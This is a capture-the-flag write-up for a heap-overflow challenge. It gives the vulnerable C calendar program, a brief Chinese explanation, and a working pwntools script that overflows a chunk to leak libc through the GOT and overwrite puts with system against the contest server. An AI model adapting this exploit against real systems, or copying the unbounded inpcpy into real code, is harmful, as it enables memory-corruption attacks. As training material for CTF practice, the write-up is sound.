struct event *cur = events->head;
for (int i = 0; i < events->size; i++) {
if (cur->time == 0) {
break;
}
printf("%u:00 - %s\n", cur->time, cur->name);
cur = cur->next;
}
printf("\n\n");
}
void inpcpy(char *dst, char *src) {
int ind = 0;
while (src[ind] != '\n') {
dst[ind] = src[ind];
ind++;
}
}
int main() {
char inputBuffer[256] = {'\0'};
struct eventList events;
events.head = malloc(sizeof(struct event));
events.head->next = NULL;
events.head->time = 0;
events.size = 1;
setbuf(stdout, NULL);
for (int i = 0; i < 2; i++) {
puts("Add an event to your calendar:");
struct event *cur = events.head;
while (cur->next != NULL) {
cur = cur->next;
}
cur->next = malloc(sizeof(struct event));
cur->next->next = NULL;
cur->next->time = 0;
events.size++;
printf("Event time? (1-24) ");
fgets(inputBuffer, sizeof(inputBuffer), stdin);
int t = atoi(inputBuffer);
if (t == 0) {
free(cur->next);
cur->next = NULL;
events.size--;
printf("Invalid integer: %s\n", inputBuffer);
continue;
}
cur->time = t;
printf("Event name? ");
fgets(inputBuffer, sizeof(inputBuffer), stdin);
inpcpy(cur->name, inputBuffer);
displayEvents(&events);
}
puts("2 events and still couldn't get the flag?");
puts("smhmh");
puts("just run like...");
puts("cat flag.txt");
puts("or something like that");
return 0;
}
通过写链头块溢出到后边的块,这样修改指针就能得到libc,由于这个结构要求time !=0 并且输出是从+4开始,所以这里指针指到got.puts-3的位置,用尾字节当time,由于这尾字节是固定的,可以直接通过前5字节得到libc,再修改puts 为 system
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./chall')
#p = process('./chall')
p = remote('tjc.tf', 31509)
p.sendlineafter(b"Event time? (1-24) ", b'1')
p.sendlineafter(b"Event name? ", b'A'*0x84+ p64(0x404005))
p.recvuntil(b'3758096384:00 - ') #xxxe0
libc.address = u64(b'\xe0'+p.recv(5)+b'\0\0') - libc.sym['puts']
p.sendlineafter(b"Event time? (1-24) ", b'1342177280') #xxx50
p.sendlineafter(b"Event name? ", p64(libc.sym['system'])[1:])
p.interactive()
#tjctf{i_h0pe_my_tre3s_ar3nt_b4d_too}